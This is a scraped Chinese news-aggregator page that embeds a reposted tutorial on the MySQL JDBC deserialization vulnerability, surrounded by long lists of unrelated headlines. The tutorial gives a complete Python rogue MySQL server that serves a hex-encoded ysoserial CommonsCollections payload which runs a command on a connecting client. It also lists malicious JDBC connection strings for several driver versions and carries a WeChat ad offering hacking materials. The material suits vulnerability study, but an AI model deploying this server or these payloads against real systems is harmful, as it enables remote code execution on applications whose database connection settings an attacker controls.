最新要闻
- 快报:市监局回应12.4万保时捷遭抢购后下架:规模较大 正加紧调查
- 每日快讯!下饭神器:乌江榨菜30袋19.9元大促
- 快消息!魅族20就快来了!已有魅友抢先体验:称“感觉不错”
- 焦点快看:故障率惊人!三星昔日旗舰SSD 980 Pro严重翻车 用户投诉多到爆官方出手修复
- 世界快播:雷军对日本任天堂公司欣赏至极:推崇其为“世界的主宰”
- “造假”作弊频发 ChatGPT官方鉴别器紧急发布!不想却遭遇群嘲
- 15万!特斯拉新车Model Q到底有吗:网友喊话如果这外形必冲?
- 世界热点!终于告别祖传67W!小米13 Ultra升级90W快充
- 环球热资讯!咋想的 雪佛兰SUV加油站里试图插队:男女肉身阻挡他车通行
- 每日看点!三年亏损170亿 昔日新能源车一哥“北汽蓝谷”跌下神坛
- “靠服装就能抗菌抗病毒” 真有效还是智商税?
- 每日快报!大爷撞上奥迪老伴下车后秒晕倒 指责对方为啥停路边:交警到场结局舒适
- 环球观察:别想歪了!最新研究称西地那非“伟哥”真的能延长男性寿命
- 今日最新!5万年一遇!绿色“天外来客”正靠近地球:有望肉眼观测
- 网易发布暴雪游戏退款说明:退款申请截止到6月30日
- 这才是过年聚会的家 游戏区、棋牌区、动画片区 网友:太和谐了
手机
iphone11大小尺寸是多少?苹果iPhone11和iPhone13的区别是什么?
警方通报辅警执法直播中被撞飞:犯罪嫌疑人已投案
- iphone11大小尺寸是多少?苹果iPhone11和iPhone13的区别是什么?
- 警方通报辅警执法直播中被撞飞:犯罪嫌疑人已投案
- 男子被关545天申国赔:获赔18万多 驳回精神抚慰金
- 3天内26名本土感染者,辽宁确诊人数已超安徽
- 广西柳州一男子因纠纷杀害三人后自首
- 洱海坠机4名机组人员被批准为烈士 数千干部群众悼念
家电
【全球时快讯】MySQL-JDBC反序列化分析
0x01 前言
听师傅们说这条链子用的比较广泛,所以最近学一学,本来是想配合着 tabby 或是 codeql 一起看的,但是 tabby 的环境搭建一直有问题,耽误了很久时间,所以就直接看了。
(资料图片)
0x02 JDBC 的基础
本来不太想写这点基础的,但想了想觉得还是要补一点。
JDBC 对数据库的操作一般有以下步骤:
1、导入包:要求您包含包含数据库编程所需的 JDBC 类的软件包。通常,使用import java.sql.*
就足够了。
2、注册 JDBC 驱动程序:要求您初始化驱动程序,以便您可以打开与数据库的通信通道。
3、建立连接:需要使用* DriverManager.getConnection ()*
方法来创建一个 Connection 对象,该对象表示与数据库服务器的物理连接。要创建新的数据库,在准备数据库 URL 时,无需提供任何数据库名称,如下面的示例所述。
4、执行查询:需要使用 Statement 类型的对象来构建 SQL 语句并将其提交到数据库。
5、清理:需要显式关闭所有数据库资源,而不是依赖 JVM 的垃圾回收。
例如创建一个数据库
// 步骤 1. 导入所需的软件包import java.sql.*;public class JDBCExample { // JDBC 驱动程序名称和数据库 URL static final String JDBC_DRIVER = "com.mysql.jdbc.Driver"; static final String DB_URL = "jdbc:mysql://localhost/"; // 数据库凭证 static final String USER = "username"; static final String PASS = "password"; public static void main(String[] args) { Connection conn = null; Statement stmt = null; try{ // 步骤 2:注册 JDBC 驱动程序 Class.forName("com.mysql.jdbc.Driver"); // 步骤 3:建立连接 System.out.println("Connecting to database..."); conn = DriverManager.getConnection(DB_URL, USER, PASS); // 步骤 4:执行查询 System.out.println("Creating database..."); stmt = conn.createStatement(); String sql = "CREATE DATABASE STUDENTS"; stmt.executeUpdate(sql); System.out.println("Database created successfully..."); }catch(SQLException se){ // 处理 JDBC 错误 se.printStackTrace(); }catch(Exception e){ // 处理 Class.forName 的错误 e.printStackTrace(); }finally{ // 用于关闭资源 try{ if(stmt!=null) stmt.close(); }catch(SQLException se2){ } try{ if(conn!=null) conn.close(); }catch(SQLException se){ se.printStackTrace(); } }// 结束 try System.out.println("Goodbye!");}// 结束 main}// 结束 JDBCExample
这一个 MySQL-JDBC 的漏洞简单来说就是 MySQL 对服务器的请求过程利用
正常的命令执行得到结果后就结束了,但是如果响应的结果是一个恶意的 poc 并且在后续过程中进行了反序列化,那么就可以用来执行任意命令了。
【----帮助网安学习,以下所有学习资料免费领!加vx:yj009991,备注 “博客园” 获取!】
① 网安学习成长路径思维导图 ② 60+网安经典常用工具包 ③ 100+SRC漏洞分析报告 ④ 150+网安攻防实战技术电子书 ⑤ 最权威CISSP 认证考试指南+题库 ⑥ 超1800页CTF实战技巧手册 ⑦ 最新网安大厂面试题合集(含答案) ⑧ APP客户端安全检测指南(安卓+IOS)
0x03 漏洞分析
漏洞原理
如果攻击者能够控制 JDBC 连接设置项,那么就可以通过设置其指向恶意 MySQL 服务器进行ObjectInputStream.readObject()
的反序列化攻击从而 RCE。
具体点说,就是通过 JDBC 连接 MySQL 服务端时,会有几个内置的 SQL 查询语句要执行,其中两个查询的结果集在 MySQL 客户端被处理时会调用ObjectInputStream.readObject()
进行反序列化操作。如果攻击者搭建恶意 MySQL 服务器来控制这两个查询的结果集,并且攻击者可以控制 JDBC 连接设置项,那么就能触发 MySQL JDBC 客户端反序列化漏洞。
可被利用的两条查询语句:
SHOW SESSION STATUS
SHOW COLLATION
链子
pom.xml
commons-collections commons-collections 3.2.1 mysql mysql-connector-java 8.0.13
CC 链作为命令执行的部分,也就是说需要我们找一个 JDBC 合理的入口类,并且这个入口类需要在 JDBC 连接过程中被自动执行,最终是找到了这样一个类com.mysql.cj.jdbc.result.ResultSetImpl
,它的getObject()
方法调用了readObject()
方法
JDBC 通过 MySQL 数据库查询数据会返回一个结果集,将查询到的结果返回给程序,并将结果封装在ResultSetImpl
这个类中。
所以这个类不满足用户可控输入这一点,所以我们应该要去找谁调用了ResultSetImpl#getObject()
根据网上的链子是ResultSetUtil
类调用了ResultSetImpl#getObject()
,并且能够继续向上调用(如果 tabby 或者其他工具搞好了应该会用那些工具分析)
ResultSetUtil
这个类是用来处理一些测试实例的结果,或者是 profiler 的结果。简而言之还是用来做数据处理的类,继续往上看谁调用了它。
最终是com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor#populateMapWithSessionStatusValues
方法调用了ResultSetUtil#resultSetToMap
44ServerStatusDiffInterceptor
是一个拦截器,在 JDBC URL 中设定属性queryInterceptors
为ServerStatusDiffInterceptor
时,执行查询语句会调用拦截器的 preProcess 和 postProcess 方法,这是一个自动执行的过程,我们可以把它作为利用链头。
看一下populateMapWithSessionStatusValues
方法的代码
先建立了 JDBC 的连接,并创建查询,查询语句是SHOW SESSION STATUS
,接着调用ResultSetUtil.resultSetToMap
,完成查询并封装查询结果。
漏洞复现
之前看 Y4tacker 师傅的文章时,发现有提到是直接用 python 脚本打,里面有很多数据,但是这个 ”打“ 肯定不是空穴来风的,所以需要再明确一下攻击思路。
环境搭建可能会踩坑,若有师傅踩坑了可以滴我一下
我们需要先伪造数据包,并用 wireshark 抓包,观测一下流量,编写 Test 类内容如下
import java.sql.*; public class Test { public static void main(String[] args) throws Exception { Class.forName("com.mysql.jdbc.Driver"); String jdbc_url = "jdbc:mysql://192.168.116.129:3306/test?characterEncoding=UTF-8&serverTimezone=Asia/Shanghai" + "&autoDeserialize=true" + "&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor"; Connection con = DriverManager.getConnection(jdbc_url, "root", "123123"); } }
通过tcp.port == 3306 && mysql
来过滤协议
我们需要用 python 脚本伪造的 MySQL 服务端需要伪造的是Greeting
数据包Response OK
、Response Response OK
以及 JDBC 执行查询语句SHOW SESSION STATUS
的返回包等,我们逐个来分析。
首先是greeting
数据包
这里发送greeting
数据包之后需要发送Login
请求,Login
请求里面包含了 user 和 db 以及 password,在这之后才会返回 Response OK 的数据包
Login 的请求包在发送完greeting
包之后会自动发送,所以我们只需要发送一段greeting
数据包,返回一段 Response OK 数据包即可,Response OK 包如下
继续往下,需要编写四个 Request Query 包的 Response 包后,才是SHOW SESSION STATUS
响应包的编写需要我们将 MySQL Protocol 的部分全部复制进来
如此,构造出最后的 fake MySQL 服务端
import socketimport binasciiimport osgreeting_data="4a0000000a352e372e31390008000000463b452623342c2d00fff7080200ff811500000000000000000000032851553e5c23502c51366a006d7973716c5f6e61746976655f70617373776f726400"response_ok_data="0700000200000002000000"def receive_data(conn): data = conn.recv(1024) print("[*] Receiveing the package : {}".format(data)) return str(data).lower()def send_data(conn,data): print("[*] Sending the package : {}".format(data)) conn.send(binascii.a2b_hex(data))def get_payload_content(): #file文件的内容使用ysoserial生成的 使用规则 java -jar ysoserial [common7那个] "calc" > a file= r"a" if os.path.isfile(file): with open(file, "rb") as f: payload_content = str(binascii.b2a_hex(f.read()),encoding="utf-8") print("open successs") else: print("open false") #calc payload_content="aced0005737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000023f40000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a6563743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b7870740003666f6f7372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e00037870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001b00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001b7371007e00137571007e001800000002707571007e001800000000740006696e766f6b657571007e001b00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e00187371007e0013757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174000463616c63740004657865637571007e001b0000000171007e00207371007e000f737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000077080000001000000000787878" return payload_content# 主要逻辑def run(): while 1: conn, addr = sk.accept() print("Connection come from {}:{}".format(addr[0],addr[1])) # 1.先发送第一个 问候报文 send_data(conn,greeting_data) while True: # 登录认证过程模拟 1.客户端发送request login报文 2.服务端响应response_ok receive_data(conn) send_data(conn,response_ok_data) #其他过程 data=receive_data(conn) #查询一些配置信息,其中会发送自己的 版本号 if "session.auto_increment_increment" in data: _payload="01000001132e00000203646566000000186175746f5f696e6372656d656e745f696e6372656d656e74000c3f001500000008a0000000002a00000303646566000000146368617261637465725f7365745f636c69656e74000c21000c000000fd00001f00002e00000403646566000000186368617261637465725f7365745f636f6e6e656374696f6e000c21000c000000fd00001f00002b00000503646566000000156368617261637465725f7365745f726573756c7473000c21000c000000fd00001f00002a00000603646566000000146368617261637465725f7365745f736572766572000c210012000000fd00001f0000260000070364656600000010636f6c6c6174696f6e5f736572766572000c210033000000fd00001f000022000008036465660000000c696e69745f636f6e6e656374000c210000000000fd00001f0000290000090364656600000013696e7465726163746976655f74696d656f7574000c3f001500000008a0000000001d00000a03646566000000076c6963656e7365000c210009000000fd00001f00002c00000b03646566000000166c6f7765725f636173655f7461626c655f6e616d6573000c3f001500000008a0000000002800000c03646566000000126d61785f616c6c6f7765645f7061636b6574000c3f001500000008a0000000002700000d03646566000000116e65745f77726974655f74696d656f7574000c3f001500000008a0000000002600000e036465660000001071756572795f63616368655f73697a65000c3f001500000008a0000000002600000f036465660000001071756572795f63616368655f74797065000c210009000000fd00001f00001e000010036465660000000873716c5f6d6f6465000c21009b010000fd00001f000026000011036465660000001073797374656d5f74696d655f7a6f6e65000c21001b000000fd00001f00001f000012036465660000000974696d655f7a6f6e65000c210012000000fd00001f00002b00001303646566000000157472616e73616374696f6e5f69736f6c6174696f6e000c21002d000000fd00001f000022000014036465660000000c776169745f74696d656f7574000c3f001500000008a000000000020100150131047574663804757466380475746638066c6174696e31116c6174696e315f737765646973685f6369000532383830300347504c013107343139343330340236300731303438353736034f4646894f4e4c595f46554c4c5f47524f55505f42592c5354524943545f5452414e535f5441424c45532c4e4f5f5a45524f5f494e5f444154452c4e4f5f5a45524f5f444154452c4552524f525f464f525f4449564953494f4e5f42595f5a45524f2c4e4f5f4155544f5f4352454154455f555345522c4e4f5f454e47494e455f535542535449545554494f4e0cd6d0b9fab1ead7bccab1bce4062b30383a30300f52455045415441424c452d5245414405323838303007000016fe000002000000" send_data(conn,_payload) data=receive_data(conn) elif "show warnings" in data: _payload = "01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f000059000005075761726e696e6704313238374b27404071756572795f63616368655f73697a6527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e59000006075761726e696e6704313238374b27404071756572795f63616368655f7479706527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e07000007fe000002000000" send_data(conn, _payload) data = receive_data(conn) if "set names" in data: send_data(conn, response_ok_data) data = receive_data(conn) if "set character_set_results" in data: send_data(conn, response_ok_data) data = receive_data(conn) if "show session status" in data: mysql_data = "0100000102" mysql_data += "1a000002036465660001630163016301630c3f00ffff0000fc9000000000" mysql_data += "1a000003036465660001630163016301630c3f00ffff0000fc9000000000" # 为什么我加了EOF Packet 就无法正常运行呢?? #获取payload payload_content=get_payload_content() #计算payload长度 payload_length = str(hex(len(payload_content)//2)).replace("0x", "").zfill(4) payload_length_hex = payload_length[2:4] + payload_length[0:2] #计算数据包长度 data_len = str(hex(len(payload_content)//2 + 4)).replace("0x", "").zfill(6) data_len_hex = data_len[4:6] + data_len[2:4] + data_len[0:2] mysql_data += data_len_hex + "04" + "fbfc"+ payload_length_hex mysql_data += str(payload_content) mysql_data += "07000005fe000022000100" send_data(conn, mysql_data) data = receive_data(conn) if "show warnings" in data: payload = "01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f00006d000005044e6f74650431313035625175657279202753484f572053455353494f4e20535441545553272072657772697474656e20746f202773656c6563742069642c6f626a2066726f6d2063657368692e6f626a73272062792061207175657279207265777269746520706c7567696e07000006fe000002000000" send_data(conn, payload) breakif __name__ == "__main__": HOST ="0.0.0.0" PORT = 3309 sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #当socket关闭后,本地端用于该socket的端口号立刻就可以被重用.为了实验的时候不用等待很长时间 sk.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) sk.bind((HOST, PORT)) sk.listen(1) print("start fake mysql server listening on {}:{}".format(HOST,PORT)) run()
在本地运行,并运行 JDBC 的连接代码
再来看 Fake MySQL 服务端这边的响应,是能收到包,并且发包的;相当清晰
调试分析
在com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor#populateMapWithSessionStatusValues
下个断点,开始调试分析
往下跟,先运行查询语句SHOW SESSION STATUS
,接着调用了ResultSetUtil.resultSetToMap()
ResultSetUtil.resultSetToMap()
调用了getObject()
方法,第一处调用getObject()
方法回返回 null,第二次调用时才会走到反序列化的代码逻辑里面。
在调用getObject()
方法中,判断 MySQL 的类型为 BLOB 后,就从 MySQL 服务端中获取对应的字节码数据
从 MySQL 服务端获取到字节码数据后,判断autoDeserialize
是否为 true、字节码数据是否为序列化对象等,最后调用readObject()
触发反序列化漏洞
不同 MySQL-JDBC-Driver 的 payload
8.x
如上述 Demo:
"jdbc:mysql://127.0.0.1:3309/test?characterEncoding=UTF-8&serverTimezone=Asia/Shanghai" + "&autoDeserialize=true" + "&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor";
6.x
属性名不同,queryInterceptors 换为 statementInterceptors
jdbc:mysql://x.x.x.x:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor
>=5.1.11
包名中没有cj
jdbc:mysql://x.x.x.x:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor
5.x <= 5.1.10
同上,但需要连接后执行查询。
5.1.29 - 5.1.40
jdbc:mysql://x.x.x.x:3306/test?detectCustomCollations=true&autoDeserialize=true
5.1.28 - 5.1.19
jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true
0x04 小结
总体来说还是比较简单的一条链子,但是需要注意到需要将 MySQL 字段类型修改为 BLOB 才可以。
更多靶场实验练习、网安学习资料,请点击这里>>
【全球时快讯】MySQL-JDBC反序列化分析
快报:市监局回应12.4万保时捷遭抢购后下架:规模较大 正加紧调查
每日快讯!下饭神器:乌江榨菜30袋19.9元大促
快消息!魅族20就快来了!已有魅友抢先体验:称“感觉不错”
焦点快看:故障率惊人!三星昔日旗舰SSD 980 Pro严重翻车 用户投诉多到爆官方出手修复
世界快播:雷军对日本任天堂公司欣赏至极:推崇其为“世界的主宰”
全球新动态:如何将使用中的域名平滑迁移到京东云?(以原域名注册、域名解析都在万网为例)
环球简讯:最新最常用的Windows/office激活工具
世界今热点:HTTP学习笔记3-HTTP报文
关注:【深读】网络测控系统时钟同步PTP时间同步服务器
环球快报:Git 客户端基本使用及新手常见问题
“造假”作弊频发 ChatGPT官方鉴别器紧急发布!不想却遭遇群嘲
15万!特斯拉新车Model Q到底有吗:网友喊话如果这外形必冲?
世界热点!终于告别祖传67W!小米13 Ultra升级90W快充
环球热资讯!咋想的 雪佛兰SUV加油站里试图插队:男女肉身阻挡他车通行
每日看点!三年亏损170亿 昔日新能源车一哥“北汽蓝谷”跌下神坛
分享会上狂吹MySQL的4大索引结构,没想到大家的鉴赏能力如此的~~~~
“靠服装就能抗菌抗病毒” 真有效还是智商税?
每日快报!大爷撞上奥迪老伴下车后秒晕倒 指责对方为啥停路边:交警到场结局舒适
环球观察:别想歪了!最新研究称西地那非“伟哥”真的能延长男性寿命
【算法训练营day35】LeetCode860. 柠檬水找零 LeetCode406. 根据身高重建队列 LeetCode452. 用最少数量的箭引爆气球
MAUI新生6.4-集合内容类控件难点:CollectionView
今日最新!5万年一遇!绿色“天外来客”正靠近地球:有望肉眼观测
网易发布暴雪游戏退款说明:退款申请截止到6月30日
这才是过年聚会的家 游戏区、棋牌区、动画片区 网友:太和谐了
世界微头条丨三大运营商合力:我国有11亿5G用户!4G用户瑟瑟发抖 求别降速
全球最资讯丨大型国有银行采购摩尔线程国产显卡!造型首次公开
【世界新要闻】try catch finally,try里有return,finally还执行么?
基于k8s的zookeeper搭建
读Java8函数式编程笔记07_设计和架构的原则
20万能买到?极氪003最新预告:3米级加速秒杀百万超跑
滚导和盘托出未来规划 超人新片定档2025年
全球观察:12.4万买下保时捷帕纳梅拉 涉事博主:无成本新车营销成功案例
3层果肉 层层爆浆 榴莲西施榴莲千层蛋糕6寸:两盒69.9元
环球最资讯丨博主怒斥极氪汽车站不起来 居然致敬燃油车奥迪Q3
三星s3370手机有触控笔吗?三星s3370手机参数
怎么删除地址栏里的网址记录?如何恢复删除的网址记录?
tdscdma手机怎么样?tdscdma手机铃声静音怎么解除?
魅族m8什么时候上市的?魅族m8手机参数
All Share Play是什么意思?All Share Play功能是什么?
一劳永逸打一地名是什么?一劳永逸和一蹴而就的区别是什么?
怒晴湘西讲的是什么故事?怒晴湘西大结局是什么?
阳光大道是什么意思?阳光大道打一个生肖是什么?
世界聚焦:linux服务器运行java项目, 监控查看内存、储存空间和cpu占用率
热点!火山引擎 DataTester:0 代码也能实施 A/B 测试的实验平台
世界滚动:一看就懂!任务提交的资源判断在Taier中的实践
全球热文:全球首个面向遥感任务设计的亿级视觉Transformer大模型
萝卜喝醉了会变成什么?脑筋急转弯大全
南国新川是什么意思?南国新川在哪里?
可测水温、室温、体温 一机多用:可孚红外电子体温枪29.9元发车
全球热点评!投入一亿建立优化实验室:一加Ace 2《原神》表现稳了
李一男造车“破梦重圆”?自游家NV现身奇瑞商用车总部
天天动态:男孩撸猫后发烧12天:腋下长鸡蛋大肿块
环球热推荐:知名车评人侮辱特斯拉被判赔10万 车评人上诉
activiti审批流源码,落地版教程
天天新消息丨easy excel 导入导出
全球最资讯丨@vue/cli 插件开发之自动根据目录列表生成别名配置
国内首家!奇瑞霸气官宣:旗下四大品牌全系车型终身质保
环球观察:30年前拍不成 现在香爆!郭帆拍《流浪地球3》 图恒宇写“4”原因揭晓
天天要闻:颜值碾压BBA 马自达旗舰CX-90全球首发:国产后或砍3.3T
支付巨头PayPal“挥刀”裁员7%:2000名员工将被辞退
当前快报:反向操作?特斯拉降价后 宝马、牧马人等油车主动涨价
全球看点:OKR之剑·实战篇04:OKR执行过程优化的那些关键事
用户不升Win11原因扎心!微软正式停售Win10:ISO等继续下载
比SSD便宜 还写不死!净亏4.4亿美元 西数力挺机械硬盘:9亿美元要收铠侠
小米商城惊现神价格!将近500块的手机壳只要10元 米粉疯狂下单
今日报丨曝苹果2025年推出折叠屏MacBook:20.5英寸屏 颠覆以往
环球最资讯丨韩国刷新世界最低生育率纪录 一小学上演1人毕业季:网友唏嘘
联想小新Pro 16 23款轻薄本真机首曝:115W性能释放堪比游戏本
【计算机网络】Stanford CS144 Lab0 : networking warmup 学习记录
天天最资讯丨React框架运行机制
netcore之异步并不是多线程!
天天观点:NVIDIA御用游戏《赛博朋克2077》终于支持DLSS 3:性能暴涨3.9倍!
天天热推荐:机械硬盘:彻底陨落
天天热头条丨地球最黑暗的时刻:被狂轰滥炸长达2000万年
信息:游客岳飞观高喊“还我河山” 砸打秦桧像:景区已报警
焦点热文:丰田章男:一年卖出1049万辆汽车!却败给了电动车
环球快报:特斯拉2022年在华营收181.45亿美元:占比降至约22%
天天微动态丨千呼万唤始出来 《赛博朋克2077》正式支持DLSS3
神十五乘组太空过春节!这一看就是咱中国的空间站:红红火火
天天热头条丨MySQL之MVCC总结理解
环球关注:autojs实例02-为朋友圈指定好友点赞
Prometheus&Grafana基本使用
直播:5万年一遇绿色彗星逼近地球 肉眼可见
python教程:shutil高级文件操作
当前播报:自定义ConditionalOnXX注解(二)
世界焦点!河南矿山开工招聘电话被打爆:因6100万奖金火出圈
天天热议:对不起!《狂飙》反派集体直播“道歉”:阵势让网友欢呼太上头
观热点:日本厂商2023年推出新款磁带收音机:支持U盘数据转录
天天日报丨戴尔灵越Pro 2023系列上架:13代酷睿P系 5999元起
DDS结构的FPGA实现
【算法训练营day34】LeetCode1005. K次取反后最大化的数组和 LeetCode134. 加油站 LeetCode135. 分发糖果
天天观焦点:女子有洁癖:每天消杀双手10次 结果患乏脂性皮炎
最新快讯!彻底消灭自燃!宝马今年开始测试固态电池:计划两年后装车
世界信息:情人节倒计时 国外动物园想出报复前任的绝妙点子:蟑螂惨了
当前速讯:宏碁杀入显卡市场!通吃Intel/AMD、不碰NVIDIA
新资讯:《狂飙》热播!湖南一网吧凌晨变《狂飙》专场
实时焦点:如何手动补充陈年老库(或纯 JS 代码)的 TypeScript 类型?
中国新车质量榜:前四均被合资车企包揽 本田最大赢家
刷新中国影史记录!2023年院线全年总票房已破百亿